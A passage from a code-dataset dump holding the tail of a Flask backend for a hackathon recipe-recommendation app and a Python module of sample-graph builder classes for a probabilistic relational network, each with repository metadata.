np.array(join_encoding_vec(user_likes, user_dislikes, r_count))\n\n mask = create_filter_mask(conn, user_id, r_count)\n user_vec = np.reshape(user_vec, (1, -1))\n return predict(mat, user_vec, mask, 8, 4)\n\n\ndef generate_group_prediction(user_ids, suggestions_per_group=2, group_size=4):\n \"\"\"\n Generates a list of recipe ids, which the user might like\n :param user_ids: list of user ids\n :param suggestions_per_group: number of suggestions per group\n :param group_size: number of users per group\n \"\"\"\n recipes = db.get_recipes(conn)\n r_count = len(recipes)\n\n users_vec = {}\n for user in user_ids:\n users_vec[user] = np.array(join_encoding_vec(db.get_user_likes(conn, user), db.get_user_dislikes(conn, user), r_count))\n\n remaining_users = user_ids\n ids_per_group = []\n for i in range(group_size):\n if i == group_size-1:\n ids_per_group.append(remaining_users)\n break\n base_user = remaining_users[0]\n idx = k_closest_vector_indices(users_vec[base_user], [users_vec[us] for us in remaining_users], group_size+1)\n ids_per_group.append(remaining_users[idx])\n remaining_users = [remaining_users[i] for i in range(len(remaining_users)) if i not in idx]\n\n mat = create_pref_mat(conn, r_count)\n pred_per_group = []\n for user_group in ids_per_group:\n mask = create_filter_mask_group(conn, user_group, r_count)\n vec = np.mean(np.vstack([users_vec[i] for i in user_group]), axis=0)\n pred_per_group.append(predict(mat, vec, mask, suggestions_per_group, 4))\n\n return flatten_list(pred_per_group)\n\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('index.html')\n\n\n@app.route('/create-group', methods=['GET', 'POST'])\ndef create_group():\n if request.method == 'GET':\n return render_template('template_group.html')\n if request.method == 'POST':\n data = request.get_json()\n user_ids = data['users']\n uuid = generate_url_safe_uuid()\n obj = {user_id: {'selected': False, 'selection': ''} for user_id in user_ids}\n active_groups[uuid] = obj\n return json.dumps({'uuid': uuid})\n\n\n@app.route('/predict', methods=['POST'])\ndef get_prediction():\n data = request.get_json()\n user_id = data['user-id']\n liked_rid = data['user-likes']\n disliked_rid = data['user-dislikes']\n pred_r_ids = generate_prediction(liked_rid, disliked_rid, user_id)\n recs = db.get_recipes_for_user(conn, user_id)\n result = [rec for rec in recs if rec['id'] in pred_r_ids]\n return json.dumps(result)\n\n\n@app.route('/predict/', methods=['GET'])\ndef get_prediction_group(uuid):\n data = request.get_json()\n user_ids = data['user-ids']\n pred_r_ids = generate_group_prediction(user_ids)\n recs = db.get_recipes_for_users(conn, user_ids)\n result = [rec for rec in recs if rec['id'] in pred_r_ids]\n return json.dumps(result)\n\n\n@app.route('/groups/data/', methods=['GET', 'POST'])\ndef group_data(uuid):\n if uuid not in active_groups.keys():\n return \"Page does not exist.\"\n\n if request.method == 'GET':\n return json.dumps(active_groups.get(uuid, {}))\n else:\n data = request.get_json()\n user_name = data['user_name']\n rec_id = data['rec_id']\n pw = data['pw']\n\n user_id = db.get_user_id(conn, user_name, pw)\n if user_id is None:\n return \"User does not exist\"\n if user_id not in active_groups[uuid].keys():\n return \"User is not in group\"\n\n active_groups[uuid][user_id]['selected'] = True\n active_groups[uuid][user_id]['selection'] = rec_id\n return \"Operation Successful\"\n\n\n@app.route('/groups/', methods=['GET'])\ndef show_group(uuid):\n if uuid in active_groups.keys():\n return render_template(\"template_group_view.html\")\n else:\n return \"Does not exist\"\n\n\n@app.route('/fetch-recipies', methods=['GET'])\ndef fetchRecipies():\n return 'fetch recipies'\n\n\n@app.route('/create-user', methods=['GET'])\ndef create_user():\n return render_template(\"template_create_user.html\")\n\n\n@app.route('/setPreferences', methods=['POST'])\ndef setPreferences():\n \"\"\"\n Set the preferences (allergies) for a user\n :param user_id: user id\n :param allergies: list of allergies (ids)\n \"\"\"\n data = request.get_json()\n user_id = data['user_id']\n allergies = data['allergies']\n db.set_allergies_for_user(conn, user_id, allergies)\n return 'set prefs'\n\n\n@app.route('/favorRecipe', methods=['POST'])\ndef favorRecipe():\n \"\"\"\n This endpoint lets a user add a like to a recipe \n :param user_id: user id\n :param recipe_id: recipe id\n \"\"\"\n data = request.get_json()\n user_id = data['user_id']\n recipe_id = data['recipe_id']\n db.user_add_like(conn, user_id, recipe_id)\n return 'fav recipe'\n\n\n@app.route('/get-users', methods=['GET'])\ndef get_users():\n data = [(id, name) for id, name, _ in db.load_all_users(conn)]\n obj = {'users': [{'name': name, 'id': id} for id, name in data]}\n return json.dumps(obj)\n\n\n@app.route('/get-user', methods=['POST'])\ndef getUser():\n \"\"\"\n This endpoint is a simple mock endpoint to facilitate account management\n :param user_id: user id\n :param user_pw: user password\n :return: user id\n \"\"\"\n data = request.get_json()\n user_name = data['user_name']\n user_pw = data['user_pw']\n user_id = db.get_user_id(conn, user_name, user_pw)\n return json.dumps({'user_id': user_id})\n\n\n@app.route('/set-user', methods=['POST'])\ndef set_user():\n \"\"\"\n This endpoint is used to mock user account creation\n :param user_name: user name\n :param user_pw: user password\n :return: status incicating if creating was successful\n \"\"\"\n # Check if the request has JSON data\n if not request.is_json:\n return jsonify({\"error\": \"Missing JSON in request\"}), 400\n\n data = request.get_json()\n\n # Validate 'user_name' and 'user_pw' in the data\n user_name = data.get('user_name')\n user_pw = data.get('user_pw')\n if not user_name or not user_pw:\n return jsonify({\"error\": \"Missing username or password\"}), 400\n\n try:\n # Insert user data into the database\n db.insert_user(conn, user_name, user_pw)\n return jsonify({\"message\": \"User set successfully\"}), 201\n except Exception as e:\n # Handle any exceptions (e.g., database errors)\n return jsonify({\"error\": str(e)}), 500\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n", "repo_name": "KonstiAnon/hackaTUM2023", "sub_path": "src/backend/Server.py", "file_name": "Server.py", "file_ext": "py", "file_size_in_byte": 7456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "DBAccess.connect_to_db", "line_number": 10, "usage_type": "call"}, {"api_name": "DBAdapter.get_recipes", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 28, "usage_type": "call"}, {"api_name": "Prediction.predict", "line_number": 29, "usage_type": "call"}, {"api_name": "DBAdapter.get_recipes", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "DBAdapter.get_user_likes", "line_number": 44, "usage_type": "call"}, {"api_name": "DBAdapter.get_user_dislikes", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 61, "usage_type": "call"}, {"api_name": "Prediction.predict", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 88, "usage_type": "name"}, {"api_name": "DBAdapter.get_recipes_for_user", "line_number": 93, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 100, "usage_type": "name"}, {"api_name": "DBAdapter.get_recipes_for_users", "line_number": 103, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 113, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 116, "usage_type": "name"}, {"api_name": "DBAdapter.get_user_id", "line_number": 121, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 157, "usage_type": "name"}, {"api_name": "DBAdapter.set_allergies_for_user", "line_number": 160, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 171, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 171, "usage_type": "name"}, {"api_name": "DBAdapter.user_add_like", "line_number": 174, "usage_type": "call"}, {"api_name": "DBAdapter.load_all_users", "line_number": 180, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 182, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 193, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 193, "usage_type": "name"}, {"api_name": "DBAdapter.get_user_id", "line_number": 196, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 197, "usage_type": "call"}, {"api_name": "flask.request.is_json", "line_number": 209, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 209, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 210, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 212, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 212, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 218, "usage_type": "call"}, {"api_name": "DBAdapter.insert_user", "line_number": 222, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 223, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 226, "usage_type": "call"}]} {"seq_id": "23065213298", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nr\"\"\"\n __ __\\/\n | S \\ | R \\\n \\ __ | \\ __ |\n / \\ /\n / \\ /\n __ / \\ __ / __\n | N \\ | G \\ | A \\\n \\ __ | \\ __ | \\ __ |\n\n # # # # # # # # # # # # # # # # # # # # # #\n\nauthor: CAB\nwebsite: github.com/alexcab\ncreated: 2021-10-18\n\"\"\"\n\nfrom collections import defaultdict\nfrom typing import Dict, Set, Any, Optional, Tuple, Union\n\nfrom pyvis.network import Network\n\nfrom .graph_components import SampleGraphComponentsProvider, ValueNode, RelationEdge, DirectedRelation\n\n\nclass SampleGraphBuilder:\n \"\"\"\n Mutable builder for composing of the sample graphs\n \"\"\"\n\n @staticmethod\n def is_edges_connected(edges: frozenset[Tuple[frozenset[Tuple[Any, Any]], Any]]) -> bool:\n \"\"\"\n Will to trace given edges to ensure that the graph they formed are connected\n :param edges: Set[(endpoints, relation)]\n :return: True if graph connected and False otherwise\n \"\"\"\n tracing_map = defaultdict(set)\n traced: Set[(Any, Any)] = set({})\n\n for endpoints in [list(endpoints) for endpoints, _ in edges]:\n assert len(endpoints) == 2, \\\n f\"[SampleGraphBuilder.is_edges_connected] expect endpoints have exactly 2 node, got {endpoints}\"\n tracing_map[endpoints[0]].add(endpoints[1])\n tracing_map[endpoints[1]].add(endpoints[0])\n\n def trace(start_node: (Any, Any)):\n if start_node not in traced:\n traced.add(start_node)\n for next_node in tracing_map[start_node]:\n trace(next_node)\n\n trace(next(iter(tracing_map.keys())))\n return len(tracing_map) == len(traced)\n\n @staticmethod\n def validate_endpoints(endpoints: frozenset[Tuple[Any, Any]]) -> None:\n \"\"\"\n Will validate given endpoints and in case invalid will raise AssertionError\n :param endpoints: frozenset[(variable, value))])\n :return: None if all OK or raise AssertionError\n \"\"\"\n assert len(endpoints) == 2, \\\n f\"[SampleGraphBuilder.validate_endpoints] Exactly 2 endpoint should be passed, got {len(endpoints)}\"\n assert len({var for var, _ in endpoints}) == 2, \\\n f\"[SampleGraphBuilder.validate_endpoints] Endpoints can't have same variable, got {endpoints}\"\n\n def __init__(\n self,\n components_provider: SampleGraphComponentsProvider,\n name: Optional[str] = None,\n nodes: Set[ValueNode] = None,\n edges: Set[RelationEdge] = None\n ):\n self._components_provider: SampleGraphComponentsProvider = components_provider\n self._name: Optional[str] = name\n self._nodes: Set[ValueNode] = nodes if nodes else set([])\n self._edges: Set[RelationEdge] = edges if edges else set([])\n self._endpoints: Dict[frozenset[ValueNode], RelationEdge] = {e.endpoints: e for e in self._edges}\n\n def __copy__(self):\n return SampleGraphBuilder(self._components_provider, self._name, set(self._nodes), set(self._edges))\n\n def __repr__(self):\n return f\"RelationGraphBuilder(\" \\\n f\"name = {self._name}, len(nodes) = {len(self._nodes)}, len(edges) = {len(self._edges)})\"\n\n def set_name(self, name: Optional[str]):\n \"\"\"\n Update sample graphs name with given\n :param name: new name\n :return: self\n \"\"\"\n self._name = name\n return self\n\n def build_empty(self) -> 'SampleGraph':\n \"\"\"\n Will build sample graph which contains no nodes\n :return: single node sample graph\n \"\"\"\n return SampleGraph(\n self._components_provider,\n frozenset({}),\n frozenset({}),\n self._name)\n\n def build_single_node(self, variable: Any, value: Any) -> 'SampleGraph':\n \"\"\"\n Will build sample graph which contains single node with given variable and value\n :param variable: node variable\n :param value: node value\n :return: single node sample graph\n \"\"\"\n return SampleGraph(\n self._components_provider,\n frozenset({self._components_provider.get_node(variable, value)}),\n frozenset({}),\n self._name)\n\n def build_from_edges(\n self,\n edges: frozenset[Tuple[frozenset[Tuple[Any, Any]], Any]],\n validate_connectivity: bool = True\n ) -> 'SampleGraph':\n \"\"\"\n Creates sample graph from set of edges.\n :param edges: frozenset[(endpoints, relation)]\n :param validate_connectivity: if False then connectivity will not be checked,\n use it if is_edges_connected was called first\n :return: built sample graph\n \"\"\"\n if validate_connectivity:\n assert self.is_edges_connected(edges), \\\n f\"[SampleGraphBuilder.build_from_edges] Passed edges are not form connected graph, edges: {edges}\"\n\n for endpoints, relation in edges:\n self.validate_endpoints(endpoints)\n nodes = {self._components_provider.get_node(var, val) for var, val in endpoints}\n edge = self._components_provider.get_edge(frozenset(nodes), relation)\n self._edges.add(edge)\n self._endpoints[edge.endpoints] = edge\n self._nodes.update(nodes)\n\n return self.build()\n\n def add_relation(self, endpoints: Set[Tuple[Any, Any]], relation: Any) -> 'SampleGraphBuilder':\n \"\"\"\n To add relation edge in to sample graph, with validation of graph connectivity\n :param endpoints: Exactly 2 nodes which will connected with relation edge\n :param relation: relation type\n :return: self\n \"\"\"\n self.validate_endpoints(frozenset(endpoints))\n nodes = {self._components_provider.get_node(var, val) for var, val in endpoints}\n edge = self._components_provider.get_edge(frozenset(nodes), relation)\n\n assert not nodes.isdisjoint(self._nodes) or not self._nodes, \\\n f\"[SampleGraphBuilder.add_relation] One or both endpoint should be previously added node, \" \\\n f\"to keep graph connected, got nodes {nodes} where previously added {self._nodes}\"\n assert edge.endpoints not in self._endpoints, \\\n f\"[SampleGraphBuilder.add_relation] Edge {edge} was added previously\"\n\n self._edges.add(edge)\n self._endpoints[edge.endpoints] = edge\n self._nodes.update(nodes)\n return self\n\n def add_directed_relation(\n self,\n source: Tuple[Any, Any],\n target: Tuple[Any, Any],\n relation: Any\n ) -> 'SampleGraphBuilder':\n \"\"\"\n To add relation edge with arrow relation in to sample graph\n :param source: source (variable, value)\n :param target: target (variable, value)\n :param relation: relation type\n :return: self\n \"\"\"\n return self.add_relation({source, target}, DirectedRelation(source[0], target[0], relation))\n\n def can_sample_be_joined(self, sample: 'SampleGraph') -> bool:\n \"\"\"\n Check structure of sample if there is no conflicts (no edges with same endpoint but different relation type).\n :param sample: sample to be joined\n :return: True if no conflicts found, False otherwise\n \"\"\"\n assert sample.is_compatible(self._components_provider), \\\n f\"[SampleGraphBuilder.can_sample_be_joined] Incompatible sample {sample}\"\n\n for edge in sample.edges:\n if edge.endpoints in self._endpoints and edge.relation != self._endpoints[edge.endpoints].relation:\n return False\n return True\n\n def join_sample(self, sample: 'SampleGraph'):\n \"\"\"\n Will add all nodes and edges from sample to this builder, if there is conflict will throw error\n :param sample: sample graph to be added\n :return: self\n \"\"\"\n assert sample.is_compatible(self._components_provider), \\\n f\"[SampleGraphBuilder.join_sample] Incompatible sample {sample}\"\n\n def is_connected(edge: RelationEdge) -> bool:\n return not edge.endpoints.isdisjoint(self._nodes) or not self._nodes\n\n def join_edges(edges: Set[RelationEdge]) -> None:\n not_connected = set({})\n\n for edge in edges:\n if is_connected(edge):\n assert \\\n edge.endpoints not in self._endpoints \\\n or edge.relation == self._endpoints[edge.endpoints].relation, \\\n f\"[SampleGraphBuilder.join_sample] Sample can't be joined since have conflicting edge {edge}\"\n for ep in edge.endpoints:\n assert \\\n ep.variable not in {n.variable for n in self._nodes} or ep in self._nodes, \\\n f\"[SampleGraphBuilder.join_sample] Endpoint {ep} can't be added since sample already \" \\\n f\"have another value of variable '{ep.variable}'\"\n self._edges.add(edge)\n self._endpoints[edge.endpoints] = edge\n self._nodes.update(edge.endpoints)\n else:\n not_connected.add(edge)\n\n assert edges != not_connected, \\\n f\"[SampleGraphBuilder.join_sample] One or both endpoint should be previously added, \" \\\n f\"to keep graph connected, got not connected edges {edges} where previously added {self._nodes}\"\n\n if not_connected:\n join_edges(not_connected)\n\n if sample.edges:\n join_edges(set(sample.edges))\n else: # Single node graph\n assert len(sample.nodes) == 1 and (sample.nodes.issubset(self._nodes) or not self._nodes), \\\n f\"[SampleGraphBuilder.join_sample] Single node sample can be joined only \" \\\n f\"if this builder have its node or empty, node {sample.nodes} not in self nodes {self._nodes}\"\n if not self._nodes:\n self._nodes.update(sample.nodes)\n return self\n\n def build(self) -> 'SampleGraph':\n \"\"\"\n To build composed sample graph\n :return: composed sample graph\n \"\"\"\n assert self._nodes, \\\n \"[SampleGraphBuilder.build] Sample graph should have at least 1 node\"\n\n return SampleGraph(self._components_provider, frozenset(self._nodes), frozenset(self._edges), self._name)\n\n\nclass SampleGraph:\n \"\"\"\n Immutable sample graph\n \"\"\"\n\n def __init__(\n self,\n components_provider: SampleGraphComponentsProvider,\n nodes: frozenset[ValueNode],\n edges: frozenset[RelationEdge],\n name: Optional[str]\n ):\n self.nodes: frozenset[ValueNode] = nodes\n self.edges: frozenset[RelationEdge] = edges\n self.hash: frozenset[Any] = nodes.union({e for e in edges})\n self.name: str = name if name else (\n \"{\" + '; '.join(sorted([str(e) for e in self.edges] if self.edges else\n [str(n) for n in self.nodes])) + \"}\")\n self.included_variables: frozenset[Any] = frozenset({n.variable for n in nodes})\n self.is_single_node: bool = not bool(edges)\n self.is_k_0: bool = not bool(nodes) and not bool(edges)\n self._components_provider: SampleGraphComponentsProvider = components_provider\n\n def __hash__(self):\n return self.hash.__hash__()\n\n def __repr__(self):\n return self.name\n\n def __copy__(self):\n raise AssertionError(\n \"[SampleGraph.__copy__] Sample graph should not be copied, \"\n \"use one of transformation method to get new instance\")\n\n def __eq__(self, other: Any):\n if isinstance(other, SampleGraph):\n return self.hash == other.hash\n return False\n\n def is_compatible(self, other_components_provider: SampleGraphComponentsProvider) -> bool:\n \"\"\"\n Validate if this sample graph compatible to other components provider\n :param other_components_provider: other SampleGraphComponentsProvider\n :return: True if compatible, False otherwise\n \"\"\"\n return id(self._components_provider) == id(other_components_provider)\n\n def text_view(self) -> str:\n \"\"\"\n Create textual representation of this sample graph to print in terminal\n :return: string representation of this sample\n \"\"\"\n if self.edges:\n return \"{\" + \"; \".join(sorted([str(e) for e in self.edges])) + \"}\"\n elif self.nodes:\n return \"{\" + str(list(self.nodes)[0]) + \"}\"\n else:\n return \"{}\"\n\n def edges_set_view(self) -> Union[frozenset[Tuple[frozenset[Tuple[Any, Any]], Any]], Tuple[Any, Any], None]:\n \"\"\"\n Build and return this sample graph in form of simple edges (same format as used in\n SampleGraphBuilder.build_from_edges). I case graph is single node will return just this node\n :return: frozenset[Tuple[frozenset[Tuple[variable, value]], relation] or for single node Tuple[variable, value]\n \"\"\"\n if self.edges:\n return frozenset({\n (frozenset({(n.variable, n.value) for n in e.endpoints}), e.relation) for e in self.edges})\n elif self.nodes:\n single_node = list(self.nodes)[0]\n return single_node.variable, single_node.value\n else:\n return None\n\n def visualize(self, height=\"1024px\", width=\"1024px\") -> None:\n \"\"\"\n Use pyvis.network to visualize this sample graph\n :param height: screen height\n :param width: screen width\n :return: None\n \"\"\"\n name = \"\".join(c for c in self.name if c.isalnum() or c in {'_', '-', '(', ')'})\n net = Network(height=height, width=width)\n\n for node in self.nodes:\n net.add_node(node.string_id, label=node.string_id)\n for edge in self.edges:\n net.add_edge(edge.a.string_id, edge.b.string_id, label=str(edge.relation))\n\n net.show(f\"{name}.html\")\n\n def builder(self) -> SampleGraphBuilder:\n \"\"\"\n Creates SampleGraphBuilder which will contain this graph edges and nodes\n :return: created SampleGraphBuilder\n \"\"\"\n return SampleGraphBuilder(\n self._components_provider,\n self.name,\n {n for n in self.nodes},\n {e for e in self.edges})\n\n def is_subgraph(self, other: 'SampleGraph') -> bool:\n \"\"\"\n Check if other sample graph is subgraph of this\n :param other: sample graph to check with\n :return: True if other sample graph is subgraph, False otherwise\n \"\"\"\n return self.hash.issubset(other.hash)\n\n def value_for_variable(self, variable: Any) -> Optional[Any]:\n \"\"\"\n Will return value of given variable if variable in this sample graph\n :param variable: variable to search value of.\n :return: Found value or None if variable value is not in this sample\n \"\"\"\n for n in self.nodes:\n if n.variable == variable:\n return n.value\n return None\n\n def transform_with_replaced_values(self, to_replace: Dict[Any, Any], name: Optional[str] = None) -> 'SampleGraph':\n \"\"\"\n Will create new instance of this sample graph with replacement of value for given variables,\n if no values was replaced will return this instance of sample graph\n :param to_replace: Dict[variable, new_variable_value]\n :param name: name for new sample graph, if None will generated from structure\n :return: sample graph with replaced values\n \"\"\"\n node_provider = self._components_provider.get_node\n edge_provider = self._components_provider.get_edge\n\n def transform_nodes(nodes: frozenset[ValueNode]) -> frozenset[ValueNode]:\n return frozenset({\n (node_provider(node.variable, to_replace[node.variable]) if node.variable in to_replace else node)\n for node in nodes})\n\n def transform_edges(edges: frozenset[RelationEdge]) -> frozenset[RelationEdge]:\n return frozenset({\n (edge_provider(transform_nodes(edge.endpoints), edge.relation)\n if not {e.variable for e in edge.endpoints}.isdisjoint(to_replace.keys()) else edge)\n for edge in edges})\n\n transformed_nodes, transformed_edges = transform_nodes(self.nodes), transform_edges(self.edges)\n\n return self if (transformed_nodes == self.nodes and transformed_edges == self.edges) else \\\n SampleGraph(self._components_provider, transformed_nodes, transformed_edges, name)\n\n def neighboring_values(\n self,\n center: ValueNode,\n relation_filter: Set[Any] = None\n ) -> Dict[ValueNode, RelationEdge]:\n \"\"\"\n Search the neighbors of given center node, which linked with one of relation\n from relation_filter list.\n :param center: center node\n :param relation_filter: Set of relations to select neighbors with particular relation,\n if None then select all neighbors.\n :return: List[neighbor_node, relation_edge_with_which_this_node_connected_to_center_node]\n \"\"\"\n return {e.opposite_endpoint(center): e\n for e in self.edges\n if e.is_endpoint(center) and (not relation_filter or (e.relation in relation_filter))}\n\n def similarity(self, other: 'SampleGraph') -> float:\n \"\"\"\n Calculate how similar is this sample to other sample\n :param other: other sample\n :return: 0 - completely different, 1 - completely match\n \"\"\"\n intersect_hash = self.hash.intersection(other.hash)\n differ_hash = self.hash.symmetric_difference(other.hash)\n return len(intersect_hash) / (len(intersect_hash) + len(differ_hash))\n\n def belt_nodes(\n self,\n center_nodes: Set[ValueNode],\n relation_filter: Set[Any] = None\n ) -> Dict[ValueNode, Set[RelationEdge]]:\n \"\"\"\n Find all neighbors nodes at one step deep from center_nodes\n :param center_nodes: nodes to search neighbors around, should not be empty\n :param relation_filter: Set of relations to select neighbors with particular relation,\n if None then select all neighbors.\n :return: Dict[one_step_deep_neighbor_node, Set[relation_edge_with_which_this_node_connected_to_center_nodes]]\n \"\"\"\n assert center_nodes, \"[SampleGraph.belt_nodes] center_nodes set should not be empty\"\n\n acc: Dict[ValueNode, Set[RelationEdge]] = {}\n for edge in self.edges:\n if not relation_filter or edge.relation in relation_filter:\n ep_dif = edge.endpoints.difference(center_nodes)\n if len(ep_dif) == 1:\n node = next(iter(ep_dif))\n if node in acc:\n assert edge not in acc[node], \\\n \"[SampleGraph.belt_nodes] sample graph can't have 2 identical edges, look like bug\"\n acc[node].add(edge)\n else:\n acc[node] = {edge}\n return acc\n\n def external_nodes(\n self,\n internal_nodes: Set[ValueNode],\n relation_filter: Set[Any] = None\n ) -> Dict[ValueNode, Set[RelationEdge]]:\n \"\"\"\n Return all external nodes (nodes which not in internal nodes set) of this sample graph\n :param internal_nodes: nodes to search neighbors around, should not be empty\n :param relation_filter: Set of relations to select neighbors with particular relation,\n if None then select all neighbors.\n :return: Dict[external_node, Set[relation_edge_which_lead_to_internal_node]]\n \"\"\"\n acc_nodes = self.belt_nodes(internal_nodes, relation_filter)\n if acc_nodes:\n for node, edges in self.external_nodes(internal_nodes.union(acc_nodes.keys()), relation_filter).items():\n if node in acc_nodes:\n assert acc_nodes[node].isdisjoint(edges), \\\n \"[SampleGraph.external_nodes] sample graph can't have identical edges \" \\\n \"and they can't be checked twice, look like bug.\"\n acc_nodes[node].update(edges)\n else:\n acc_nodes[node] = edges\n return acc_nodes\n else:\n return {} # All value nodes checked\n\n def variables_subgraph_hash(self, variables: Set[Any]) -> frozenset[Any]:\n \"\"\"\n Filter nodes which variable are in variables and edges which all\n endpoints variables are in given variables set, then pack them in frozenset.\n :param variables: variables set to filter on\n :return: filtered sets of nodes and edges\n \"\"\"\n return frozenset(\n {n for n in self.nodes if n.variable in variables}.union(\n {e for e in self.edges if {ep.variable for ep in e.endpoints}.issubset(variables)}))\n\n def edges_endpoint_variables(self) -> frozenset[frozenset[Any]]:\n \"\"\"\n Builds set of endpoints variables, for example for edges: (a_T)-{r}-(b_T), (b_T)-{r}-(c_T)\n will return {{a, b}, {b, c}}\n :return: set of endpoints variables\n \"\"\"\n return frozenset({frozenset({ep.variable for ep in e.endpoints}) for e in self.edges})\n\n def single_node_variable(self) -> Any:\n \"\"\"\n If this sample is single node then return variable of this node\n :return: Variable of this sample\n \"\"\"\n assert self.is_single_node, \\\n f\"[SampleGraph.single_node_variable] This sample is not single node\"\n\n return list(self.nodes)[0].variable\n\n def values(self) -> Set[Tuple[Any, Any]]:\n \"\"\"\n Get values included in this sample graph\n :return: Set[(variable, value)]\n \"\"\"\n return {n.var_val() for n in self.nodes}\n\n def have_value(self, variable: Any, value: Any) -> bool:\n \"\"\"\n Check if given value is in this sample\n :param variable: variable which have value\n :param value: value to be checked\n :return: True if value in this sample, False otherwise\n \"\"\"\n for n in self.nodes:\n if n.var_val() == (variable, value):\n return True\n return False\n\n def have_variable(self, variable: Any) -> bool:\n \"\"\"\n Check if given variable is in this sample\n :param variable: variable to be checked\n :return: True if variable in this sample, False otherwise\n \"\"\"\n for n in self.nodes:\n if n.variable == variable:\n return True\n return False\n", "repo_name": "AlexCAB/probabilistic-relational-network", "sub_path": "Python/research/scripts/relnet/sample_graph.py", "file_name": "sample_graph.py", "file_ext": "py", "file_size_in_byte": 23108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Tuple", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 35, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.Set", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 60, "usage_type": "name"}, {"api_name": "graph_components.SampleGraphComponentsProvider", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 75, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 76, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 76, "usage_type": "name"}, {"api_name": "graph_components.SampleGraphComponentsProvider", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 80, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 81, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 82, "usage_type": "name"}, {"api_name": "graph_components.ValueNode", "line_number": 82, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 111, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 176, "usage_type": "name"}, {"api_name": "graph_components.DirectedRelation", "line_number": 185, "usage_type": "call"}, {"api_name": "graph_components.RelationEdge", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 213, "usage_type": "name"}, {"api_name": "graph_components.RelationEdge", "line_number": 213, "usage_type": "name"}, {"api_name": 